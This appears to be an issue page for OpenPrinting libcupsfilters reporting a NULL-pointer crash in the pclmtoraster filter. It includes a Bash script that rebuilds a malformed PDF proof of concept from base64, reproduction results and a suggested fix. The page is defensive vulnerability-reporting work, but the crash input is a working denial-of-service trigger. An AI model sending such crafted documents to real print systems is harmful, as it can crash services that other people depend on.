OpenPrinting / OpenPrinting/libcupsfilters
pclmtoraster: malformed XObject reaches strcmp(NULL, "image")
Nobody has claimed this yet.
- Dominant language
- C
- Stars
- 17
- Forks
- 71
- Avg merge
- 2d 17h
- Merged PRs (30d)
- 13
Description
Summary
process_image() assumes that every key in a page XObject dictionary resolves
to an object with a non-NULL PDF type. A malformed PCLm/PDF can make
pdfioDictGetObj() or pdfioObjGetType() return NULL, which is passed directly
to strcmp.
Validated source:
- libcupsfilters:
905fd94fb22a9298bc8e2c845eb7e04f7055b686 - PDFio:
72cfbd91e55621769c076e60d3a56e30a2538a15
Reproduction
Final upstream recheck on 2026-08-02: OpenPrinting/cups-filters 11d1a190530f85a361a1b3835f57d635256dff1a, libcupsfilters 905fd94fb22a9298bc8e2c845eb7e04f7055b686, and libppd fc41539f761286396a7df8aeeda762070192e37e.
poc/document.pdf, SHA-256
89bbd4c986480c1fd9fd5dc827ab2f2818df54e9b8419cd2d59104b393fd46ce,
contains a malformed page resource/XObject relationship. Run
./reproduce.sh against the standalone filter.
The following commented Bash script constructs the exact PoC and control
inputs. Save it as make_poc.sh, then run bash make_poc.sh poc.
#!/usr/bin/env bash
set -euo pipefail
# PoC: pclmtoraster: malformed XObject reaches strcmp(NULL, "image")
# Finding ID: pclmtoraster-xobject-type-null-dereference
# Trigger: process_image() assumes that every key in a page XObject dictionary
# resolves to an object with a non-NULL PDF type. A malformed PCLm/PDF can
# make pdfioDictGetObj() or pdfioObjGetType() return NULL, which is passed
# directly to strcmp.
#
# Binary PDFs, Raster files, images, and PPDs are stored as gzip-compressed
# base64 so embedded NUL bytes and exact parser offsets survive copy/paste.
# Every reconstructed file is checked before the vulnerable program is run.
OUTPUT_DIR="${1:-poc}"
mkdir -p "$OUTPUT_DIR"
for tool in base64 gzip sha256sum; do
command -v "$tool" >/dev/null || {
printf 'missing required tool: %s\n' "$tool" >&2
exit 1
}
done
write_file() {
local name="$1"
local expected_sha256="$2"
local path="$OUTPUT_DIR/$name"
local actual_sha256
mkdir -p "$(dirname "$path")"
base64 --decode | gzip --decompress > "$path"
actual_sha256="$(sha256sum "$path")"
actual_sha256="${actual_sha256%% *}"
if [[ "$actual_sha256" != "$expected_sha256" ]]; then
printf 'SHA-256 mismatch for %s\n' "$path" >&2
return 1
fi
printf '%s %s bytes sha256=%s\n' \
"$path" "$(wc -c < "$path")" "$actual_sha256"
}
# Malformed or boundary document consumed by the real filter/API.
# Output: document.pdf (317 bytes)
write_file document.pdf 89bbd4c986480c1fd9fd5dc827ab2f2818df54e9b8419cd2d59104b393fd46ce <<'POC_PAYLOAD_0'
H4sIAAAAAAACA22PXwuCMBTF3/cp7kuPNZ1WCOJDf4SIKKqHIHqYehHFXMwJ1bfuG7SpgVFjjMvl
nPM7G+wW4dAeucQGC0SUE98HenzcEOicK16IFOiOp1gB04I9BAHBMjFC9mNodXSdJRWcHSO/6BRR
lwrsntH5azSvRC1tOXSDySvjM3GHs6U3E5vB1GM6cI+VqGWsSSbgtI1yjFUzr64WuF3L9n6Q7hfS
ag5jHjQDlECU5FmBshEcsifCWIOEMMW7X1dK1+sxl9uQvAGrfPX+PQEAAA==
POC_PAYLOAD_0
Result
The ASan build aborts in strcmp from process_image() at
pclmtoraster.c:846. The uninstrumented filter exits 139 with SIGSEGV.
Both write the four-byte Raster sync word before terminating.
The input controls whether object resolution fails, but it does not select a
non-NULL read address. No output disclosure or dependent write was observed;
the demonstrated impact is document-triggered denial of service.
Cause and expected behavior
The callback performs:
pdfio_obj_t *image = pdfioDictGetObj(dict, key);
if (strcmp(pdfioObjGetType(image), "image") == 0)
Both PDFio calls can return NULL for malformed object relationships or absent
type metadata. The filter should verify image and its type before comparing
or opening the image stream, and reject the page cleanly on failure.
Contributor guide
First steps
- Read the whole issue, then the project's contributing guide.
- Comment on the issue to say you are picking it up — it saves two people doing the same work.
- Fork the repository and make your change on a branch.
- Open a pull request that references the issue number.
Research direction
Start in pclmtoraster.c at process_image(), around line 846, and inspect the XObject lookup and type check described in the issue. Run reproduce.sh with poc/document.pdf under an ASan build; done means the malformed input is rejected cleanly without reaching strcmp with a NULL value or crashing.
Written by the indexing model from the issue text.
Assessment
- Tech stack
- c
- Domain
- security
- Issue type
- Bug
- Difficulty
- 2/5
- Estimated time
- 1-3 hours
- Activity status
- Quiet
- Clarity
- Clearly specified
- Newbie friendliness
- 78/100